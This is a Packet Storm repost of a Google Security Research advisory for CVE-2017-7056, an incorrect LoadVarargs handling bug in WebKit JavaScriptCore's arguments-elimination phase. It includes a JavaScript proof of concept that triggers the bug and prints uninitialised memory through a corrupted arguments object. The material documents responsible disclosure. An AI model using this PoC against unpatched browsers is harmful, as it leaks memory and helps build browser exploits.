Exploit the possiblities

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling
Posted Jul 25, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform.

tags | exploit
advisories | CVE-2017-7056
MD5 | 3329e3b7383b6891153dfafff93bf8be

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

Change Mirror Download
 WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform 

CVE-2017-7056


Here is a snippet of ArgumentsEliminationPhase::transform
case LoadVarargs:
...
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
...
if (argumentCountIncludingThis <= varargsData->limit) {
storeArgumentCountIncludingThis(argumentCountIncludingThis);
// store arguments
...
}

node->remove();
node->origin.exitOK = canExit;
break;
}

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
if (arguments.length != kArgsLength) {
buggy = arguments;
}
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
let start = new Date();
while (new Date() - start < ms);
}

function main() {
let args = new Array(kArgsLength);
args.fill(333 + 1);
args = args.join(', ');

let opt = new Function(`(() => {
new ClassForInine(${args});
})();`);

for (let i = 0; i < 0x100000; i++) {
opt();

if (i === 0x3000)
sleep(1000);

if (buggy) {
print('buggy.length: ' + buggy.length);
break;
}
}

for (let i = 0, n = buggy.length; i < n; i++) {
print(buggy[i]);
}
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close